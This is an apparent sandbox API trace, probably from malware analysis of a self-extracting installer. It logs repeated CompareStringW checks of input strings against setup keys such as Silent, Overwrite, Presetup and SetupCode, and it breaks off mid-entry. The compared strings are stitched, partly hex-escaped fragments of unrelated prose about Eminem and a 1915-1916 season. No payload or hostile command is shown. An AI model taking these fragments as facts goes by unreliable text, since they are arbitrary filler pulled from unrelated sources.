lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.757] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.758] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, 